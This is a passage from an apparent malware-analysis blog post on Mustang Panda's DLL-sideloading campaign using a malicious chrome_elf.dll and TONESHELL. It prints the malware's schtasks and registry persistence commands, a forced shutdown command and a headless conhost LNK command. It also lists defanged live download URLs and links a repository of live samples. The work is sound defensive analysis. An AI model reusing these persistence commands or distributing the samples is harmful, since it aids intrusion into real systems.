      &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;218.255.96.245&lt;/code&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;a href=&quot;https://www.virustotal.com/gui/ip-address/218.255.96.245&quot;&gt;VT Link&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;️warning️-live-assets&quot;&gt;&lt;strong&gt;☣️[!WARNING!]☣️&lt;/strong&gt; Live Assets&lt;/h3&gt;

&lt;blockquote&gt;
  &lt;p&gt;Domains and download links shared below are still alive, up and running at the time of writing this blog. In case, one can download them directly, I have defanged the URL for your own safety. Please exercise caution while interacting and handling the malware kits.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
  &lt;li&gt;hxxps[://]www[.]mgood[.]co[.]kr/upload/ebook/04-17-2025/Strategic_Minerals_Development_Policy[.]zip&lt;/li&gt;
  &lt;li&gt;hxxps[://]www[.]mgood[.]co[.]kr/upload/ebook/04-17-2025/NSC_Meeting_Minutes_Apr2025[.]zip&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/Mineral-Development-Policy.jpg&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The adversary has also utilized Google Drive on several occassions to host the malware, my hypothesis for the domain &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;www[.]mgood[.]co[.]kr&lt;/code&gt; is that either they exploited unrestricted file upload, or they simply registered on the website and hosted malware over there.&lt;/p&gt;

&lt;p&gt;Usually the adversary performs spear phishing against their targets and historically, they have used USB based droppers too.&lt;/p&gt;

&lt;p&gt;Starting with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(The_Military_Balance_2025).zip&lt;/code&gt; :&lt;/p&gt;

&lt;p&gt;Initially when unarchived, you’ll see a legitimate chrome binary - although renamed, and to naked eyes you won’t see anything else. We might think where is the malicious DLL which will be sideloaded? Here the adversary has sneakily hidden the folder where the malicious DLL resides.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/darhs.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So, darhs means the directory has all these attributes set: it is a directory (d), marked as archive (a), read-only (r), hidden (h), and system (s).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/protected-os-system-files.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;When a directory or file has both Hidden and System attributes set (like in this case, directory with h and s), it is treated as a protected operating system file. By default, even if you enable “Show hidden files,” Windows Explorer will still hide items marked as system files unless you explicitly disable the “Hide protected operating system files” option in Folder Options.&lt;/p&gt;

&lt;p&gt;We can use tools like &lt;a href=&quot;https://github.com/ajm4n/DLLHound&quot;&gt;DLLHound&lt;/a&gt; to identify missing DLLs in any running process on the windows machine for the purpose of sideloading. Similarly in this case, we can identify that the module &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chrome_elf.dll&lt;/code&gt; is missing, as legitimate &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chrome.exe&lt;/code&gt; binary looks for it through a particular &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order&quot;&gt;DLL search order&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/Missing+DLLs.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;DLLHound’s output&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/Chrome-Missing-DLLs.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Missing DLLs which were not found for legitimate chrome.exe. The malicious &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chrome_elf.dll&lt;/code&gt; is PE32 bit DLL written in C++ which we will analyze in a quick and dirty fashion to infer its behavior.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 align=&quot;center&quot;&gt; Digital Signature &lt;/h1&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/spoofed-sig.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Analyzing its digital signature reveals that its likely spoofed or self-signed for evasion. But the certificate chain is terminated at the root CA because it isn’t in the trusted store, hence it gives the user an option to install the cert itself.&lt;/p&gt;

&lt;p&gt;In contrary, we can locate legitimate and signed binary (chrome_elf.dll) on the host via this powershell command:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Get-ChildItem &lt;span class=&quot;nt&quot;&gt;-Path&lt;/span&gt; C:&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Recurse&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-Filter&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;chrome_elf.dll&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-ErrorAction&lt;/span&gt; SilentlyContinue
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;which gets couple of hits with the absolute path being -&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;1. C:\eSupport\eDriver\Software\Driver\DCH\Online\Graphic\NVIDIA\Graphic_DCH\30.0.14.7186\24344\WIN32UX\GFExperience
2. C:\Program Files\NVIDIA Corporation\NVIDIA GeForce Experience
3. C:\Program Files\Google\Chrome\Application\137.0.7151.105
4. C:\Program Files\Google\Chrome\Application\137.0.7151.120
5. C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF
6. C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It seems like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chrome_elf.dll&lt;/code&gt; file is signed by Adobe, NVIDIA and Google likewise. Depending upon the software and drivers installed on your machine, it might vary.&lt;/p&gt;

&lt;p&gt;For reference, here’s the digital signature of signed chrome_elf.dll&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/certificate-is-ok.png&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 align=&quot;center&quot;&gt; Exports &lt;/h1&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/legitimatevsmaliciousdll.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;and here’s a comparison between the exports from the malicious chrome_elf.dll and a legitimate one.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/imports-01.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;When we analyze the function calls from the legitimate chrome.exe binary, we notice these 4 functions being utilized from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chrome_elf.dll&lt;/code&gt; binary, that’s where the entrypoint of malicious DLL lies.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GetInstallDetailsPayload
IsBrowserProcess
SignalChromeElf
SignalInitializeCrashReporting
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;h1 align=&quot;center&quot;&gt; CAPA Analysis &lt;/h1&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/capa-analysis.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Quick &lt;a href=&quot;https://github.com/mandiant/capa&quot;&gt;CAPA analysis&lt;/a&gt; reveals the capabilities of this malicious DLL. We will explore the essential ones manually as well as via sandbox to unearth the details.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 align=&quot;center&quot;&gt; Sandbox Analysis - Network Traffic &lt;/h1&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/TONESHELL.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Quick sandbox execution reveals the trace of &lt;a href=&quot;https://www.trendmicro.com/en_us/research/22/k/earth-preta-spear-phishing-governments-worldwide.html&quot;&gt;TONESHELL&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/Toneshell-wireshark.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can confirm it via analyzing the network packet bytes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;17 03 03&lt;/code&gt; which is usually prepended before transacting the encrypted data.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/Toneshell-Invitation-Letter.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In another variant and campaign of this adversary, we can find the same packet bytes against the suspicious IP address &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;218.255.96.245&lt;/code&gt;. Surprisingly no security vendor has flagged the IP as malicious (as of 10th June 2025).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/APT+Mustang+Panda.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Multiple network based detection rules (from suricata) are triggered against the binary.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/IP-Connections.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Suspicious IP address it establishes connections with over port 443, surprisingly I didn’t find any domain FQDN resolution against the binary in run-time, besides some legitimate benign network traffic.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 align=&quot;center&quot;&gt; Sandbox Analysis - Execution &lt;/h1&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/Chromepdf.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Once the user/target unarchives and executes the legitimate chrome.exe binary (The_Military_Balance_2025).exe, it immediately sideloads the malicious chrome_elf.dll, which then renames and copies itself to a new location (C:\ProgramData\ChromePDFBrowser\ChromePDF.exe) and (C:\ProgramData\ChromePDFBrowser\101.0.4951.41\chrome_elf.dll). All of this happens via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;schtasks.exe&lt;/code&gt; which ensures task scheduler based persistence. We will delve deeper into its function calls.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/Mutex.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Mutex check - CATM20252003 (more on it later).&lt;/p&gt;

&lt;p&gt;Besides these details, automated sandbox analyses reveals task scheduler based execution and autorun registry modification for persistence.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 align=&quot;center&quot;&gt; Malware Analysis - Execution &lt;/h1&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/copies-itself.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Copies itself to C:\ProgramData\ChromePDFBrowser&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/Task-scheduler-persistence.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Stepping through the function calls and analyzing the subroutines, we stumble upon task scheduler based persistence mechanism.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;schtasks /F /Create /TN &lt;span class=&quot;s2&quot;&gt;&quot;ChromeBrowser-chromiumim&quot;&lt;/span&gt; /SC minute /MO 5 /TR &lt;span class=&quot;s2&quot;&gt;&quot;C:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\P&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;rogramData&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\C&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;hromePDFBrowser&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\C&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;hromePDF.exe FreePDF&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The primary function of this command is to ensure that the ChromePDF.exe program is executed automatically every five minutes, indefinitely. This high frequency and the use of the /F flag to prevent failure on re-creation are strong indicators of a task designed for persistence.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/pdf-is-corrupted.png&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;which happens simultaneously when sideloading happens, along with popping a MessageBox with the title - &lt;em&gt;Error: File Corrupted&lt;/em&gt; &amp;amp; message - &lt;em&gt;The PDF File is corrupted. Please restart your computer to try again.&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/iloveamerica.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;APT shenanigans, reveals that they’re not a h@x0r and they love America, also previously revealing the GPS co-ordinates (27°40’54.0”N 112°10’26.8”W) of a particular UNESCO world heritage site?!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/mutex-check.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Moving forward, we confirm the Mutex check - ensuring only one instance of task scheduler entry is running simultaneously.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/mutex-A.png&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 align=&quot;center&quot;&gt; Malware Analysis - Persistence &lt;/h1&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/registry-persistence.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;When task scheduler runs the binary (C:\ProgramData\ChromePDFBrowser\ChromePDF.exe) it executes its second persistence mechanism - registry run keys.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/registry-persistence-1.png&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Name - ChromePDFBrowser
key - HKEY_CURRENT_USER&lt;span class=&quot;se&quot;&gt;\S&lt;/span&gt;OFTWARE&lt;span class=&quot;se&quot;&gt;\M&lt;/span&gt;icrosoft&lt;span class=&quot;se&quot;&gt;\W&lt;/span&gt;indows&lt;span class=&quot;se&quot;&gt;\C&lt;/span&gt;urrentVersion&lt;span class=&quot;se&quot;&gt;\R&lt;/span&gt;un
value - C:&lt;span class=&quot;se&quot;&gt;\P&lt;/span&gt;rogramData&lt;span class=&quot;se&quot;&gt;\C&lt;/span&gt;hromePDFBrowser&lt;span class=&quot;se&quot;&gt;\C&lt;/span&gt;hromePDF.exe FreePDF
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It executes in the context of the user who logs in. &lt;a href=&quot;https://attack.mitre.org/techniques/T1547/001/&quot;&gt;MITRE - Autostart Execution - T1547.001&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/shutdown.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Once the Mutex synchronization check and subsequent function calls has been executed, the malware immediately runs the command &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shutdown /s /f /t 0&lt;/code&gt;, which in immediate effect shuts down the computer, killing any other program.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/shutdown-1.png&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;
&lt;h1 align=&quot;center&quot;&gt; Shellcode Execution &lt;/h1&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/regopenkey.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Upon close inspection, the malicious DLL utilizes EnumFontsW windows callback function pointer to map the shellcode in memory and executed it.&lt;/p&gt;

&lt;p&gt;I encountered couple of anti-debugging and anti-sandbox WinAPI calls (IsDebuggerPresent, GetTickCount, etc).&lt;/p&gt;

&lt;p&gt;I will delve deeper into shellcode execution and encryption/decryption routines in another blog, but here’s a glimpse of it – surprisingly they’re still using HeapAlloc to allocate memory dynamically, as compared to modern memory management techniques.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/shellcode-bytes.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Revisiting the exports&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/ida-dll-exports.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;GetSPApp(void) –&amp;gt; Mutex check and PDF error route, shutdown and for synchronization purpose.
AAfsSetMainStart –&amp;gt; iloveamerica &amp;amp; “Error PDF” messageBox
Chrome_start_ipc –&amp;gt; shutdown resolution and mutex checks&lt;/p&gt;

&lt;p&gt;This is just a rough description of function calls.&lt;/p&gt;

&lt;p&gt;Besides that, we can visualize the Infection Chain as shown below -&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/Infection-Chain.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Steps of Infection chain would look something like this -&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/Phishing-mail.png&quot; /&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Adversary sends the phishing email&lt;/li&gt;
  &lt;li&gt;User/target downloads the archive, extracts the contents and executes the binary&lt;/li&gt;
  &lt;li&gt;Binary sideloads the malicious DLL (chrome_elf.dll)&lt;/li&gt;
  &lt;li&gt;Malicious DLL copies itself along with the legitimate binary in a new directory (C:\ProgramData\ChromePDFBrowser or C:\ProgramData\NVIDIAFrameViewSDK etc…)&lt;/li&gt;
  &lt;li&gt;And executes itself via task scheduler, which again sideloads the DLL&lt;/li&gt;
  &lt;li&gt;User sees the messagebox error prompt - PDF is corrupted…&lt;/li&gt;
  &lt;li&gt;In background the registry run key persistence is established.&lt;/li&gt;
  &lt;li&gt;Machine shuts down/reboots.&lt;/li&gt;
&lt;/ol&gt;

&lt;hr /&gt;
&lt;h1 align=&quot;center&quot;&gt; More Malware Samples &lt;/h1&gt;

&lt;hr /&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/IP-Files.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Pivoting further through the suspicious IP address, we find more malware samples which are actively used by APT Mustang Panda.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/Invitation-variant.png&quot; /&gt;&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Malware sample attributes&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Legitimate Binary - Invitation for the Paki Ind and 14th PK-IN JWGTI.exe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Malicious DLL - libcef.dll &lt;a href=&quot;https://www.virustotal.com/gui/file/78b91b2f1fab961824a7ca8a1e80080c3e6f2f65113c4b292d31ca2b442cb0cb&quot;&gt;60033579563b1af5fa06e3cd3d6e0951&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;File Description - Adobe Licensing WF Helper&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Original Filename - adobe_licensing_wt_helper.exe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Signed - ❌&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Malware sample attributes&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Legitimate Binary - Invitation to the Inter-Agency Meeting for the 46th ASEAN Summit.exe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Malicious DLL - helper_core.dll &lt;a href=&quot;https://www.virustotal.com/gui/file/4c66e7ebf2ca2ecf00379463835e6a2d5b0231d93fb274a968e75f45b9b7adbc&quot;&gt;47dff78a81c694066489b7fdac353f28&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;File Description - Wargaming.net Game Center&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Original Filename - helper_process.exe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Signed - ❌&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Malware sample attributes&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Legitimate Binary - Invitation letter for the com Workshop - AMB.exe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Malicious DLL - helper_core.dll &lt;a href=&quot;https://www.virustotal.com/gui/file/7476d6b375d8b1962624723aabe6f5054567ce151ade06ae1353f649c4c4e763&quot;&gt;bd806ab870f06cec107c5ae44442b5fb&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;File Description - Wargaming.net Game Center&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Original Filename - helper_process.exe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Signed - ❌&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Malware sample attributes&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Legitimate Binary - Bilingual Education Reform Report (སྐད་གཉིས་སློབ་གསོ་བསྒྱུར་བཅོས་སྙན་ཞུ)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Malicious DLL - libjyy.dll &lt;a href=&quot;https://www.virustotal.com/gui/file/93f1fd31e197a58b03c6f5f774c1384ffd03516ab1172d9b26ef5a4a32831637&quot;&gt;5d88adf862e6944b995ac6dd5151588d&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;File Description - FFWallpaper Widgets Jyy&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Original Filename - libjyy.exe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Signed - ✅ Digitally signed by Hefei Nora Network Technology Co., Ltd.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Malware sample attributes&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Legitimate Binary - DRC Mining, Strategic Minerals Development Policy.exe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Malicious DLL - helper_core.dll &lt;a href=&quot;https://www.virustotal.com/gui/file/c80dfc678570bde7c19df21877a15cc7914d3ef7a3cef5f99fce26fcf696c444&quot;&gt;2123eab51aa468d5140c3bfe2bbe7775&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;File Description - Wargaming.net Game Center&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Original Filename - helper_process.exe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Signed - ❌&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Malware sample attributes&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Legitimate Binary - NSC_Meeting_Minutes_Apr2025.exe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Malicious DLL - helper_core.dll &lt;a href=&quot;https://www.virustotal.com/gui/file/900af2b8d03b40cdb027126d47e6537535178464833770741bab8e74026334c7&quot;&gt;42b3081297597814f82aff32e9d7076d&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;File Description - Wargaming.net Game Center&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Original Filename - helper_process.exe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Signed - ❌&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/KillSwitchX7/Live-Malware&quot;&gt;Download Link for all of the samples mentioned in this blog - pass - infected&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;More or less the attributes are same, in some sample you won’t find task scheduler based execution and persistence, solely relying on registry run key persistence. With one execption which has the digitally signed malicious DLL. Method of infection and payload containerization has some variations.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;‘DRC Mining, Strategic Minerals Development Policy.url’ file being the Internet shortcut - hxxps[://]www[.]mgood[.]co[.]kr/upload/ebook/04-17-2025/NSC_Meeting_Minutes_Apr2025[.]zip&lt;/li&gt;
  &lt;li&gt;NSC_Meeting_Minutes_Apr2025.lnk - “C:\Windows\System32\conhost.exe –headless –width 80 –height 90 explorer (NSC_Meeting)-0416\NSC_Meeting_Minutes_Apr2025.exe”&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;From the end user’s perspective, if they will attempt to delete the malicious DLL they will encounter warning message like this -&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/mustangpanda/nice.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;which is fantastic for invoking doubts in the mind of user.&lt;/p&gt;

&lt;p&gt;One can pick up debugging the export function &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AAfsSetMainStart()&lt;/code&gt; to start their malware analysis, mostly it’ll start with greetings from the Mustang Panda. They utilize same good old’ DLL Sideloading tactics against their target, with persistence and little bit of evasion, rest of the job is done by their LightPipe and ToneShell payloads. Today I’ll wrap up the case here.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;If you have any questions or need personal guidance then feel free to &lt;a href=&quot;/contact&quot;&gt;contact me here&lt;/a&gt;&lt;/p&gt;

